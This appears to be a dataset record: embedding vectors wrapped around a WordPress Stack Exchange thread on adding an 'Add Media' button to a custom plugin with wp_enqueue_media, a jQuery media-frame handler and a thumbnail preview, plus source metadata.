0.00495147705078125,
0.02911376953125,
-0.00313568115234375,
0.0038661956787109375,
0.0081634521484375,
-0.055389404296875,
0.006656646728515625,
-0.01213836669921875,
-0.046356201171875,
-0.0165863037109375,
-0.030303955078125,
-0.00919342041015625,
0.029266357421875,
0.01384735107421875,
-0.04473876953125,
-0.00843048095703125,
-0.01255035400390625,
-0.0110626220703125,
-0.043853759765625,
-0.0311737060546875,
0.013275146484375,
-0.0098114013671875,
0.0199737548828125,
0.07757568359375,
0.035888671875,
-0.0035400390625,
-0.0155792236328125,
-0.03509521484375,
-0.023162841796875,
-0.022796630859375,
0.0506591796875,
-0.031402587890625,
-0.053466796875,
0.04583740234375,
-0.034149169921875,
0.061279296875,
0.0008797645568847656,
0.0245513916015625,
0.0249176025390625,
-0.0029582977294921875,
-0.0270843505859375,
0.07794189453125,
-0.0020618438720703125,
0.037811279296875,
-0.01092529296875,
-0.02801513671875,
-0.06524658203125,
0.001422882080078125,
-0.045562744140625,
0.03472900390625,
-0.0615234375,
-0.00928497314453125,
-0.0159454345703125,
-0.0017213821411132812,
-0.01210784912109375,
-0.025604248046875,
0.021270751953125,
0.002017974853515625,
0.0070037841796875,
0.0278167724609375,
0.058074951171875,
-0.0205841064453125,
-0.02313232421875,
-0.0029506683349609375,
0.0269317626953125,
0.005702972412109375,
0.0215911865234375,
-0.004608154296875,
0.03460693359375,
0.02593994140625,
0.042327880859375,
0.0155487060546875,
-0.0264129638671875,
0.08447265625,
-0.0206298828125,
-0.042083740234375,
0.04620361328125,
-0.0191497802734375,
0.06475830078125,
0.029022216796875,
0.01033782958984375,
-0.01497650146484375,
-0.01204681396484375,
-0.00687408447265625,
0.015655517578125,
-0.036773681640625,
-0.0298309326171875,
-0.0106048583984375,
0.0213623046875,
-0.039581298828125,
0.0008835792541503906,
-0.0220947265625,
-0.00881195068359375,
-0.0294189453125,
0.0159149169921875,
-0.00547027587890625,
-0.039398193359375,
0.0031528472900390625,
0.005260467529296875,
-0.0178375244140625,
0.0009737014770507812,
0.01543426513671875,
-0.0120697021484375,
0.004596710205078125,
-0.039703369140625,
-0.003635406494140625,
0.0230712890625,
0.037689208984375,
-0.01401519775390625,
0.01158905029296875,
-0.0237884521484375,
0.0303802490234375,
0.01000213623046875,
-0.0099029541015625,
0.023345947265625,
0.0087738037109375,
0.0104827880859375,
-0.0263824462890625,
0.002971649169921875,
-0.0026836395263671875,
0.01171112060546875,
-0.0177001953125,
0.031707763671875,
0.00914764404296875,
0.0509033203125,
-0.03118896484375,
-0.0114288330078125,
-0.003204345703125,
-0.01074981689453125,
0.012725830078125,
0.02581787109375,
0.032470703125,
-0.01678466796875,
-0.01421356201171875,
-0.0189208984375,
0.022369384765625,
-0.05340576171875,
0.01340484619140625,
-0.0096282958984375,
-0.006824493408203125,
-0.0108184814453125,
0.019805908203125,
-0.019683837890625,
0.0340576171875,
0.0095977783203125,
0.0221099853515625,
0.01503753662109375,
0.003940582275390625,
-0.0282745361328125,
0.0180511474609375,
0.00110626220703125,
0.024322509765625,
0.0171661376953125,
-0.03753662109375,
0.01377105712890625,
-0.01053619384765625,
-0.03643798828125,
0.0004622936248779297,
-0.01070404052734375,
0.0009751319885253906,
-0.031707763671875,
0.0247955322265625,
-0.0204010009765625,
-0.0217742919921875,
0.0133819580078125,
0.039459228515625,
-0.008026123046875,
-0.036712646484375,
0.0189361572265625,
-0.0162353515625,
-0.002506256103515625,
-0.00238037109375,
0.04412841796875,
0.030364990234375,
-0.0039825439453125,
-0.037567138671875,
-0.00968170166015625,
0.03387451171875,
0.0300750732421875,
0.01065826416015625,
0.0102386474609375,
0.0283355712890625,
0.022003173828125,
-0.0243072509765625,
0.033843994140625,
0.032501220703125,
-0.015228271484375,
0.0082855224609375,
-0.0919189453125,
0.059967041015625,
-0.06732177734375,
0.08465576171875,
0.06866455078125,
-0.019287109375,
0.0230560302734375,
0.00934600830078125,
-0.00916290283203125,
0.02239990234375,
-0.0224761962890625,
-0.0335693359375,
0.02947998046875,
-0.08807373046875,
-0.01282501220703125,
0.0165557861328125,
-0.060699462890625,
0.030792236328125,
-0.0012903213500976562,
-0.0128936767578125,
-0.02569580078125,
-0.115234375,
-0.093505859375,
-0.027496337890625,
-0.052032470703125,
0.01226806640625,
0.0186614990234375,
-0.01421356201171875,
0.0027484893798828125,
0.044403076171875,
0.018035888671875,
-0.03448486328125,
-0.0163116455078125,
-0.061798095703125,
-0.07421875,
-0.0850830078125,
0.00743865966796875,
-0.011566162109375,
0.02777099609375,
0.0108795166015625,
-0.051910400390625,
-0.019378662109375,
0.005214691162109375,
0.01486968994140625,
0.0070037841796875,
0.01319122314453125,
-0.053802490234375,
-0.013946533203125,
-0.00946807861328125,
-0.0247802734375,
0.001682281494140625,
0.062347412109375,
0.0184173583984375,
-0.01036834716796875,
0.0078582763671875,
-0.004360198974609375,
-0.01033782958984375,
0.032073974609375,
-0.01186370849609375,
-0.0182647705078125,
0.006740570068359375,
0.0280303955078125,
-0.0243072509765625,
-0.0230865478515625,
0.00913238525390625,
-0.0229949951171875,
-0.0159912109375,
0.00991058349609375,
-0.0163726806640625,
-0.006427764892578125,
-0.003376007080078125,
0.006694793701171875,
-0.0040740966796875,
0.051239013671875,
-0.01320648193359375,
0.03607177734375,
-0.01068878173828125,
-0.02056884765625,
-0.054473876953125,
0.04412841796875,
-0.0019989013671875,
-0.014190673828125,
0.0022106170654296875,
0.0015420913696289062,
-0.007450103759765625,
0.003314971923828125,
-0.037506103515625,
-0.07861328125,
0.039947509765625,
-0.0246734619140625,
0.0430908203125,
-0.042266845703125,
-0.0286102294921875,
-0.020904541015625,
0.10821533203125,
-0.05908203125,
-0.034515380859375,
-0.0195770263671875,
0.01259613037109375,
0.041717529296875,
-0.0249786376953125,
0.0250244140625,
-0.049041748046875,
-0.0565185546875,
-0.0178375244140625,
-0.0031280517578125,
-0.06561279296875,
0.01493072509765625,
-0.0772705078125,
-0.0294036865234375,
-0.0283050537109375,
0.0219879150390625,
-0.01090240478515625,
-0.0101776123046875,
0.02874755859375,
-0.021728515625,
0.009063720703125,
-0.0185394287109375,
-0.005870819091796875,
-0.0780029296875,
-0.01409912109375,
-0.03460693359375,
0.0697021484375,
0.024566650390625,
-0.0238494873046875,
-0.0118865966796875,
0.05609130859375,
0.024993896484375,
0.0170745849609375,
-0.001407623291015625,
-0.03173828125,
0.0229339599609375,
0.038970947265625,
0.02276611328125,
0.007476806640625,
0.0185699462890625,
0.003753662109375,
-0.04534912109375,
0.00572967529296875,
-0.01395416259765625,
0.005615234375,
0.0297393798828125,
-0.056610107421875,
-0.0540771484375,
-0.0182342529296875,
-0.00047850608825683594,
0.008453369140625,
0.00876617431640625,
-0.0213623046875,
-0.022705078125,
-0.05706787109375,
0.062408447265625,
0.0283966064453125,
0.0006022453308105469,
-0.0080718994140625,
0.0098114013671875,
-0.0004215240478515625,
-0.042633056640625,
-0.039520263671875,
0.033599853515625,
0.015869140625,
-0.0282745361328125,
0.09576416015625,
0.040679931640625,
0.03497314453125,
0.035308837890625,
-0.03680419921875,
0.0277252197265625,
-0.030853271484375,
0.008270263671875,
0.00811767578125,
-0.01593017578125,
0.01421356201171875,
0.01007843017578125,
0.00983428955078125,
0.0181427001953125,
0.004611968994140625,
0.00286865234375,
0.01329803466796875,
-0.0189971923828125,
0.01004791259765625,
-0.0198974609375,
0.005218505859375,
-0.0194854736328125,
0.006587982177734375,
0.020721435546875,
0.055328369140625,
0.039947509765625,
0.003818511962890625,
0.0382080078125,
0.02886962890625,
0.0157012939453125,
-0.06646728515625,
0.00878143310546875,
-0.065673828125,
0.046051025390625,
-0.0711669921875,
-0.016082763671875,
-0.0272216796875,
-0.0261077880859375,
0.08026123046875,
0.039703369140625,
-0.054901123046875,
0.05926513671875,
-0.02069091796875,
-0.01357269287109375,
0.00603485107421875,
-0.00400543212890625,
0.01947021484375,
-0.007396697998046875,
-0.0019550323486328125,
0.0186614990234375,
-0.01175689697265625,
-0.034423828125,
-0.0236053466796875,
0.0012493133544921875,
-0.00647735595703125,
-0.001373291015625,
0.025115966796875,
0.041046142578125,
-0.0175933837890625,
0.0528564453125,
-0.018035888671875,
0.00862884521484375,
0.0208740234375,
-0.0005726814270019531,
0.01995849609375,
0.00963592529296875,
0.002758026123046875,
-0.035858154296875,
0.028961181640625,
0.01419830322265625,
0.0031681060791015625,
0.015716552734375,
-0.0149993896484375,
0.0094757080078125,
0.0087432861328125,
0.0105133056640625,
0.00811767578125,
-0.0129852294921875,
0.0167694091796875,
-0.038330078125,
-0.04449462890625,
-0.033233642578125,
-0.01500701904296875,
0.022064208984375,
-0.0085296630859375,
-0.03546142578125,
0.038421630859375,
-0.0189361572265625,
0.0307464599609375,
0.018890380859375,
-0.02545166015625,
0.015167236328125,
0.01184844970703125,
0.0233917236328125,
-0.039459228515625,
-0.00843048095703125,
0.004489898681640625,
0.061187744140625,
-0.05657958984375,
-0.01081085205078125,
0.03765869140625,
-0.00732421875,
0.01416778564453125,
0.0170440673828125,
-0.0296783447265625,
0.03271484375,
-0.00299835205078125,
0.0450439453125,
0.00839996337890625,
-0.0021381378173828125,
-0.034149169921875,
-0.059356689453125,
-0.0243682861328125,
0.03369140625,
0.0037326812744140625,
0.00530242919921875,
-0.00859832763671875,
0.04736328125,
0.051361083984375,
-0.0301055908203125,
-0.07086181640625,
-0.031494140625,
-0.0024852752685546875,
0.036102294921875,
0.06268310546875,
-0.0164337158203125,
0.05047607421875,
-0.006160736083984375,
0.0147857666015625,
0.0030918121337890625,
0.04638671875,
0.010498046875,
-0.0166168212890625,
-0.0255584716796875,
-0.06622314453125,
-0.007564544677734375,
-0.00559234619140625,
0.00579071044921875,
0.08465576171875,
0.064697265625,
0.01506805419921875,
-0.0014677047729492188,
-0.0022449493408203125,
0.00799560546875,
-0.01189422607421875,
0.0084686279296875,
0.0036907196044921875,
-0.004207611083984375,
0.0238494873046875,
0.019775390625,
0.0291748046875,
-0.02374267578125,
-0.0174560546875,
-0.0031108856201171875,
0.0169830322265625,
0.003925323486328125,
-0.0028533935546875,
-0.0139007568359375,
-0.0164337158203125,
0.04132080078125,
0.0172882080078125,
0.061431884765625,
0.00392913818359375,
0.0281982421875,
0.05609130859375,
0.01406097412109375,
-0.03790283203125,
-0.028167724609375,
0.007488250732421875,
-0.004390716552734375,
-0.00812530517578125,
0.01496124267578125,
-0.00792694091796875,
-0.0229034423828125,
0.06451416015625,
0.04345703125,
-0.047607421875,
-0.0118560791015625,
0.01259613037109375,
-0.01544189453125,
-0.006500244140625,
0.01332855224609375,
-0.00052642822265625,
0.00508880615234375,
-0.0017414093017578125,
-0.0230865478515625,
-0.0169525146484375,
0.007778167724609375,
0.0257568359375,
-0.01812744140625,
-0.017120361328125,
0.030609130859375,
-0.0061798095703125,
0.0133514404296875,
-0.04144287109375,
-0.0269775390625,
-0.031463623046875,
0.003070831298828125,
0.053741455078125,
-0.0180816650390625,
0.01082611083984375,
-0.0016355514526367188,
0.038665771484375,
-0.0022945404052734375,
-0.016082763671875,
0.0278472900390625,
-0.016387939453125,
0.032012939453125,
0.030487060546875,
-0.0009760856628417969,
-0.02203369140625,
-0.0026149749755859375,
-0.0238494873046875,
-0.01158905029296875,
-0.010467529296875,
0.005031585693359375,
-0.036712646484375,
0.007476806640625,
0.0012807846069335938,
-0.03167724609375,
-0.040924072265625,
-0.02923583984375,
-0.0309295654296875,
0.104248046875,
-0.01163482666015625,
-0.029998779296875,
0.0079498291015625,
0.01116180419921875,
-0.0165863037109375,
-0.0142974853515625,
0.07159423828125,
-0.0280609130859375,
-0.00598907470703125,
0.01548004150390625,
-0.0020046234130859375,
-0.035003662109375,
-0.0350341796875,
-0.051910400390625,
0.061309814453125,
0.00569915771484375,
0.0253448486328125,
0.0178985595703125,
0.01123046875,
-0.02154541015625,
0.00652313232421875,
-0.007244110107421875,
-0.00421905517578125,
-0.0036163330078125,
0.0256805419921875,
-0.025726318359375,
-0.01517486572265625,
0.0012865066528320312,
0.06951904296875,
0.059967041015625,
0.01544952392578125,
-0.0374755859375,
0.0092315673828125,
0.07965087890625,
0.044891357421875,
0.00640106201171875,
0.0465087890625,
-0.0278472900390625,
0.041351318359375,
0.020111083984375,
-0.0489501953125,
0.0197296142578125,
-0.019378662109375,
-0.0428466796875,
-0.0013475418090820312,
0.044403076171875,
0.0386962890625,
0.004764556884765625,
0.0215911865234375,
-0.05316162109375,
0.0157318115234375,
0.04290771484375,
0.015289306640625,
0.0236663818359375,
0.0140533447265625,
0.004230499267578125,
0.00902557373046875,
0.00872802734375,
-0.02166748046875,
0.03887939453125,
0.0022983551025390625,
-0.0004487037658691406,
0.003749847412109375,
0.00433349609375,
0.01216888427734375,
0.0195159912109375,
-0.0026683807373046875,
0.03143310546875,
0.00470733642578125,
0.01092529296875,
0.01389312744140625,
0.028106689453125,
-0.007442474365234375,
0.0595703125,
0.023284912109375,
0.01474761962890625,
-0.04376220703125,
-0.046295166015625,
-0.00896453857421875,
-0.0011568069458007812,
0.03948974609375,
-0.005496978759765625,
0.042144775390625,
-0.06585693359375,
-0.039093017578125,
0.0233306884765625,
0.0023651123046875,
-0.00243377685546875,
-0.01416778564453125,
0.0175628662109375,
0.09112548828125,
-0.03338623046875,
0.02471923828125,
-0.053802490234375,
-0.012908935546875,
0.01296234130859375,
0.0487060546875,
0.05914306640625,
0.0209197998046875,
0.044281005859375,
-0.025360107421875,
-0.01342010498046875,
0.057281494140625,
0.025543212890625,
-0.020355224609375,
-0.03338623046875,
-0.06634521484375,
0.013427734375,
0.044525146484375,
0.0284576416015625,
0.010955810546875,
0.051971435546875,
0.034271240234375,
-0.02227783203125,
0.004730224609375,
0.045501708984375,
-0.01084136962890625,
0.03265380859375,
-0.035919189453125,
0.0303192138671875,
0.005664825439453125,
-0.00530242919921875,
-0.006061553955078125,
-0.00897216796875,
0.03564453125,
-0.0172119140625,
0.048004150390625,
-0.004131317138671875,
0.01198577880859375,
0.01433563232421875,
-0.0104827880859375,
0.0210113525390625,
-0.005828857421875,
-0.0379638671875,
0.0079803466796875,
-0.033355712890625,
-0.058746337890625,
0.04937744140625,
0.0570068359375,
0.002254486083984375,
0.0020198822021484375,
0.042449951171875,
-0.025238037109375,
0.00682830810546875,
0.02935791015625,
-0.0012416839599609375,
0.039031982421875,
0.0357666015625,
0.018157958984375,
-0.01593017578125,
0.01406097412109375,
0.00963592529296875,
0.0101776123046875,
-0.0090789794921875,
0.07440185546875,
-0.0217437744140625,
0.003993988037109375,
0.0191192626953125,
0.01226806640625,
-0.03167724609375,
0.006618499755859375,
-0.01073455810546875,
-0.048126220703125,
0.0005679130554199219,
0.012847900390625,
-0.0302886962890625,
0.03558349609375,
0.0178375244140625,
-0.0205078125,
0.025177001953125,
0.006885528564453125,
-0.007007598876953125,
-0.0265350341796875,
0.012420654296875,
-0.0295257568359375,
-0.07464599609375,
-0.07086181640625,
0.0275726318359375,
-0.0035228729248046875,
0.0074920654296875,
-0.048553466796875,
0.0418701171875,
-0.00009608268737792969,
0.00827789306640625,
-0.005161285400390625,
-0.0088958740234375,
-0.031646728515625,
0.0159454345703125,
0.00131988525390625,
-0.009185791015625,
0.04644775390625,
-0.0192108154296875,
0.028106689453125,
0.004138946533203125,
0.0380859375,
0.01409149169921875,
-0.01299285888671875,
-0.03570556640625,
-0.0184783935546875,
-0.00980377197265625,
-0.0271759033203125,
-0.00005054473876953125,
-0.012664794921875,
0.005290985107421875,
-0.01316070556640625,
-0.0010223388671875,
-0.020233154296875,
0.026123046875,
-0.0254058837890625,
-0.0088348388671875,
0.02117919921875,
-0.0836181640625,
-0.0270233154296875,
0.0033359527587890625,
0.0399169921875,
-0.01419830322265625,
0.0123291015625,
-0.027313232421875,
-0.0394287109375,
0.0251617431640625,
0.00004929304122924805,
0.040252685546875,
-0.0234832763671875,
-0.0163726806640625,
-0.0623779296875,
-0.01898193359375,
-0.05255126953125,
0.0224609375,
-0.029571533203125,
0.01200103759765625,
0.0643310546875,
-0.008148193359375,
-0.031646728515625,
-0.00518035888671875,
-0.002681732177734375,
0.03851318359375,
-0.042724609375,
-0.005741119384765625,
-0.0000025033950805664062,
-0.0250701904296875,
-0.032440185546875,
-0.0236358642578125,
0.0455322265625,
-0.086669921875,
-0.05078125,
-0.0000623464584350586,
0.0243682861328125,
0.04608154296875,
-0.0199127197265625,
-0.06512451171875,
0.06939697265625,
-0.0152130126953125,
-0.024810791015625,
-0.04046630859375,
-0.01378631591796875,
-0.01244354248046875,
0.050567626953125,
-0.011016845703125,
-0.0005602836608886719,
-0.035430908203125,
0.03021240234375,
0.0201568603515625,
0.049285888671875,
-0.0229339599609375,
0.063720703125,
0.002346038818359375,
0.05438232421875,
0.02862548828125,
-0.015869140625,
0.0255584716796875,
0.0196533203125,
0.01056671142578125,
0.02069091796875,
-0.04815673828125,
0.0225677490234375,
-0.0374755859375,
-0.0150146484375,
0.0386962890625,
-0.0106353759765625,
-0.01284027099609375,
-0.0467529296875,
-0.03485107421875,
-0.00858306884765625,
-0.01324462890625,
0.0235443115234375,
-0.047332763671875,
0.01009368896484375,
-0.0016222000122070312,
-0.0177459716796875,
0.02362060546875,
-0.08349609375,
-0.009185791015625,
0.00440216064453125,
0.0015850067138671875,
0.0028362274169921875,
-0.01409149169921875,
-0.027801513671875,
0.00566864013671875,
0.0136566162109375,
-0.01012420654296875,
-0.00011140108108520508,
0.0306396484375,
0.01000213623046875,
-0.0269317626953125,
-0.01490020751953125,
-0.02130126953125,
0.01174163818359375,
-0.0194549560546875,
-0.07275390625,
0.0372314453125,
0.045379638671875,
-0.038330078125,
-0.0087432861328125,
0.032928466796875,
-0.039154052734375,
-0.01178741455078125,
-0.0129241943359375,
-0.021575927734375,
0.00933837890625,
0.00946044921875,
0.0243377685546875,
-0.0248565673828125,
0.004062652587890625,
0.0220794677734375,
-0.0295257568359375,
0.0019550323486328125,
-0.07440185546875,
-0.02349853515625,
0.04052734375,
-0.0116424560546875,
-0.0321044921875,
0.0185699462890625,
-0.06158447265625,
0.0208892822265625,
0.006374359130859375,
0.0103912353515625,
0.0204010009765625,
-0.03131103515625,
-0.060791015625,
-0.00804901123046875,
-0.0139923095703125
] |
da5572320a1e29af5935b702f23aad95095db79e
|
Wordpress Stackexchange
Q: "Add Media" button in custom plugin I'm writing a custom plugin and i would like to add the "Add Media" button.
I just need to upload media, not to retrieve any content/data from the uploaded file.
How can I add this button?
Thanks
A: If you want to add a add media button to your admin panels:
You need to use wp_enqueue_media();
add_action ( 'admin_enqueue_scripts', function () {
if (is_admin ())
wp_enqueue_media ();
} );
Then use this js:
jQuery(document).ready(function() {
var $ = jQuery;
if ($('.set_custom_images').length > 0) {
if ( typeof wp !== 'undefined' && wp.media && wp.media.editor) {
$('.set_custom_images').on('click', function(e) {
e.preventDefault();
var button = $(this);
var id = button.prev();
wp.media.editor.send.attachment = function(props, attachment) {
id.val(attachment.id);
};
wp.media.editor.open(button);
return false;
});
}
}
});
Use this html:
<p>
<input type="number" value="" class="regular-text process_custom_images" id="process_custom_images" name="" max="" min="1" step="1">
<button class="set_custom_images button">Set Image ID</button>
</p>
|
Q: "Add Media" button in custom plugin I'm writing a custom plugin and i would like to add the "Add Media" button.
I just need to upload media, not to retrieve any content/data from the uploaded file.
How can I add this button?
Thanks
A: If you want to add a add media button to your admin panels:
You need to use wp_enqueue_media();
add_action ( 'admin_enqueue_scripts', function () {
if (is_admin ())
wp_enqueue_media ();
} );
Then use this js:
jQuery(document).ready(function() {
var $ = jQuery;
if ($('.set_custom_images').length > 0) {
if ( typeof wp !== 'undefined' && wp.media && wp.media.editor) {
$('.set_custom_images').on('click', function(e) {
e.preventDefault();
var button = $(this);
var id = button.prev();
wp.media.editor.send.attachment = function(props, attachment) {
id.val(attachment.id);
};
wp.media.editor.open(button);
return false;
});
}
}
});
Use this html:
<p>
<input type="number" value="" class="regular-text process_custom_images" id="process_custom_images" name="" max="" min="1" step="1">
<button class="set_custom_images button">Set Image ID</button>
</p>
A: Show thumbnail preview instead of number
Just as a tweak, I did this...
changed the number input to hidden.
added:
$imgid =(isset( $instance[ 'imgid' ] )) ? $instance[ 'imgid' ] : "";
$img = wp_get_attachment_image_src($imgid, 'thumbnail');
And then... above the hidden field.
if($img != "") {
?>
<img src="<?= $img[0]; ?>" width="80px" /><br />
<?php
}
That will make a thumbnail visible in the user end instead of a number :)
|
wordpress
|
{
"language": "en",
"length": 220,
"provenance": "stackexchange_00019.jsonl.gz:436586",
"question_score": "13",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112592"
}
|
[
0.020660400390625,
0.00848388671875,
0.01519012451171875,
0.0188751220703125,
0.0178680419921875,
-0.0066680908203125,
0.06951904296875,
-0.041046142578125,
-0.0261993408203125,
0.00574493408203125,
0.0001571178436279297,
0.0194549560546875,
-0.04296875,
-0.0310821533203125,
0.0142364501953125,
-0.0252227783203125,
0.02911376953125,
-0.028533935546875,
0.039276123046875,
0.00021135807037353516,
0.03546142578125,
0.0299530029296875,
0.013824462890625,
0.0145416259765625,
-0.01238250732421875,
0.002716064453125,
0.0626220703125,
-0.018035888671875,
-0.01432037353515625,
-0.0260009765625,
0.006244659423828125,
0.0158538818359375,
0.0237274169921875,
0.0057373046875,
-0.0169525146484375,
-0.017608642578125,
0.01486968994140625,
-0.005359649658203125,
-0.006824493408203125,
0.0249786376953125,
0.039306640625,
-0.00856781005859375,
0.0059356689453125,
0.025115966796875,
-0.005035400390625,
-0.041778564453125,
0.007381439208984375,
-0.051055908203125,
0.01690673828125,
0.0010900497436523438,
-0.00795745849609375,
-0.0169219970703125,
0.0172882080078125,
-0.052886962890625,
-0.024078369140625,
-0.032012939453125,
-0.00867462158203125,
-0.020721435546875,
0.006103515625,
0.054473876953125,
0.0005350112915039062,
0.01629638671875,
-0.0116119384765625,
-0.0516357421875,
0.006610870361328125,
-0.0147552490234375,
0.007541656494140625,
0.0168914794921875,
-0.033050537109375,
-0.010467529296875,
0.01496124267578125,
-0.0312347412109375,
0.0024967193603515625,
-0.03173828125,
-0.0007610321044921875,
0.00901031494140625,
0.0033893585205078125,
-0.038482666015625,
0.01371002197265625,
-0.0116119384765625,
0.0333251953125,
-0.0124359130859375,
0.046234130859375,
0.00292205810546875,
0.0187530517578125,
0.0361328125,
-0.003803253173828125,
-0.033233642578125,
0.005313873291015625,
-0.017791748046875,
-0.0016832351684570312,
-0.06024169921875,
0.0523681640625,
0.00006222724914550781,
-0.031036376953125,
-0.0268707275390625,
0.0323486328125,
0.00325775146484375,
0.032623291015625,
0.035797119140625,
0.0191802978515625,
-0.0648193359375,
0.067138671875,
-0.0396728515625,
0.01099395751953125,
-0.006931304931640625,
-0.013519287109375,
-0.014678955078125,
0.0330810546875,
0.024688720703125,
-0.0189666748046875,
0.0165557861328125,
0.0189056396484375,
-0.013702392578125,
-0.0233612060546875,
-0.01715087890625,
-0.01678466796875,
0.02789306640625,
0.005947113037109375,
0.01190948486328125,
-0.002288818359375,
0.0014181137084960938,
-0.024017333984375,
0.014862060546875,
-0.0033588409423828125,
-0.01073455810546875,
0.0014772415161132812,
0.004119873046875,
-0.0106658935546875,
0.00027751922607421875,
-0.02972412109375,
0.03302001953125,
0.09442138671875,
0.0281219482421875,
0.023895263671875,
-0.00545501708984375,
0.0288543701171875,
-0.016632080078125,
-0.011688232421875,
-0.00099945068359375,
0.0015621185302734375,
-0.006927490234375,
0.0018129348754882812,
-0.01104736328125,
-0.0221405029296875,
0.032623291015625,
0.00978851318359375,
0.0049896240234375,
-0.01288604736328125,
-0.098876953125,
0.03192138671875,
-0.03521728515625,
0.036041259765625,
0.01727294921875,
-0.01427459716796875,
0.0032024383544921875,
0.036651611328125,
-0.01029205322265625,
-0.01239013671875,
-0.041534423828125,
0.00832366943359375,
0.033172607421875,
0.048065185546875,
-0.0289154052734375,
-0.00402069091796875,
-0.04913330078125,
-0.055908203125,
-0.00138092041015625,
0.036407470703125,
0.058807373046875,
0.006847381591796875,
-0.03033447265625,
0.01470947265625,
0.03326416015625,
-0.0143585205078125,
0.0183563232421875,
0.0258331298828125,
0.0225067138671875,
0.00768280029296875,
0.04730224609375,
0.01407623291015625,
-0.019744873046875,
0.08624267578125,
-0.031646728515625,
-0.050872802734375,
0.0253753662109375,
-0.014678955078125,
0.05322265625,
0.03375244140625,
0.01727294921875,
0.006977081298828125,
0.003070831298828125,
-0.006683349609375,
-0.006145477294921875,
0.0016536712646484375,
-0.00632476806640625,
-0.06463623046875,
-0.005138397216796875,
-0.034912109375,
0.0255584716796875,
0.0011987686157226562,
0.00403594970703125,
0.0023956298828125,
0.03839111328125,
-0.04876708984375,
0.02899169921875,
-0.0204315185546875,
0.0194244384765625,
-0.00313568115234375,
-0.03741455078125,
0.018096923828125,
-0.020050048828125,
0.02227783203125,
-0.05035400390625,
-0.044586181640625,
0.0158843994140625,
-0.0200653076171875,
0.051971435546875,
-0.01043701171875,
0.06768798828125,
-0.0374755859375,
-0.0540771484375,
-0.0214996337890625,
-0.002105712890625,
0.0355224609375,
0.01007080078125,
-0.019378662109375,
-0.0021572113037109375,
0.027587890625,
0.0218353271484375,
-0.0218505859375,
0.01316070556640625,
0.0298309326171875,
0.00424957275390625,
-0.03497314453125,
-0.020294189453125,
-0.0063018798828125,
-0.09893798828125,
0.0121002197265625,
0.062225341796875,
0.0214385986328125,
0.0004181861877441406,
0.0002391338348388672,
0.050201416015625,
0.05328369140625,
0.042755126953125,
0.03509521484375,
0.005519866943359375,
0.02117919921875,
0.053802490234375,
-0.055755615234375,
0.006000518798828125,
0.023529052734375,
-0.061187744140625,
0.0199432373046875,
0.052459716796875,
-0.042388916015625,
-0.01202392578125,
0.00350189208984375,
-0.0117645263671875,
0.00870513916015625,
0.00923919677734375,
0.0007219314575195312,
-0.005504608154296875,
0.0276031494140625,
0.0380859375,
0.0235137939453125,
0.031341552734375,
-0.055084228515625,
0.0296173095703125,
0.0221710205078125,
-0.0158843994140625,
-0.0066375732421875,
0.000888824462890625,
0.0150146484375,
0.0167999267578125,
-0.049652099609375,
0.01364898681640625,
0.01520538330078125,
0.00881195068359375,
-0.0251617431640625,
-0.003559112548828125,
-0.0310211181640625,
-0.018890380859375,
-0.006656646728515625,
-0.0692138671875,
0.008544921875,
-0.01094818115234375,
0.01280975341796875,
-0.0211639404296875,
0.025543212890625,
0.013519287109375,
-0.017791748046875,
0.035919189453125,
-0.00978851318359375,
-0.030120849609375,
0.0263824462890625,
-0.039703369140625,
0.0545654296875,
-0.032501220703125,
0.06341552734375,
0.07647705078125,
-0.0335693359375,
0.038787841796875,
-0.00893402099609375,
-0.019195556640625,
-0.037109375,
0.04180908203125,
0.0009479522705078125,
-0.053985595703125,
-0.0172576904296875,
-0.004299163818359375,
0.019561767578125,
0.0199127197265625,
-0.0306854248046875,
-0.0352783203125,
-0.045135498046875,
-0.001232147216796875,
-0.0733642578125,
-0.05078125,
0.02618408203125,
-0.0765380859375,
-0.0038471221923828125,
-0.012420654296875,
-0.041961669921875,
-0.0116424560546875,
0.0286102294921875,
-0.0067901611328125,
-0.05810546875,
0.0207672119140625,
0.050140380859375,
-0.006664276123046875,
0.021270751953125,
-0.027618408203125,
0.0020961761474609375,
-0.005584716796875,
-0.00370025634765625,
0.0545654296875,
0.00867462158203125,
-0.040252685546875,
0.0082855224609375,
-0.0230255126953125,
0.0214385986328125,
0.0283966064453125,
0.06011962890625,
-0.04071044921875,
0.02044677734375,
0.005218505859375,
0.03350830078125,
0.05877685546875,
-0.05126953125,
-0.0198211669921875,
-0.042724609375,
-0.039306640625,
-0.023773193359375,
0.06982421875,
0.060882568359375,
-0.0162200927734375,
0.042327880859375,
-0.035003662109375,
0.00897979736328125,
-0.028106689453125,
-0.006305694580078125,
0.04901123046875,
-0.01387786865234375,
-0.013946533203125,
0.0036525726318359375,
0.0266265869140625,
0.024566650390625,
0.00884246826171875,
-0.00750732421875,
-0.001926422119140625,
0.0095977783203125,
0.006855010986328125,
0.035064697265625,
-0.01082611083984375,
0.01374053955078125,
-0.016357421875,
0.000812530517578125,
-0.005893707275390625,
0.0067138671875,
0.01384735107421875,
-0.025115966796875,
-0.01617431640625,
-0.03314208984375,
0.028350830078125,
-0.0273284912109375,
0.03839111328125,
-0.041046142578125,
-0.0236663818359375,
-0.01393890380859375,
0.08453369140625,
-0.04718017578125,
-0.0128631591796875,
-0.0218505859375,
0.00876617431640625,
0.0312347412109375,
-0.03363037109375,
-0.004913330078125,
-0.03753662109375,
-0.03643798828125,
0.025390625,
0.0086669921875,
-0.0125885009765625,
-0.0014638900756835938,
0.01006317138671875,
-0.0120391845703125,
-0.0233612060546875,
0.0355224609375,
-0.006900787353515625,
0.01275634765625,
0.01439666748046875,
-0.00798797607421875,
0.0024776458740234375,
-0.00698089599609375,
-0.0230560302734375,
-0.12225341796875,
-0.013916015625,
-0.023773193359375,
0.09002685546875,
0.006122589111328125,
0.01523590087890625,
-0.048858642578125,
0.05572509765625,
0.01366424560546875,
0.0220947265625,
0.0146942138671875,
0.020355224609375,
-0.0028209686279296875,
-0.025299072265625,
0.0165863037109375,
-0.045745849609375,
-0.0023555755615234375,
-0.04278564453125,
-0.03668212890625,
-0.0132904052734375,
-0.032928466796875,
-0.0151214599609375,
-0.006153106689453125,
-0.0255889892578125,
-0.03759765625,
-0.0182037353515625,
-0.0167236328125,
0.00740814208984375,
-0.0258331298828125,
0.001556396484375,
-0.027099609375,
-0.048614501953125,
-0.018157958984375,
-0.04034423828125,
0.0044097900390625,
0.028961181640625,
0.0606689453125,
0.031341552734375,
0.0197906494140625,
-0.0531005859375,
0.00878143310546875,
0.0150604248046875,
-0.005519866943359375,
0.0269622802734375,
0.016632080078125,
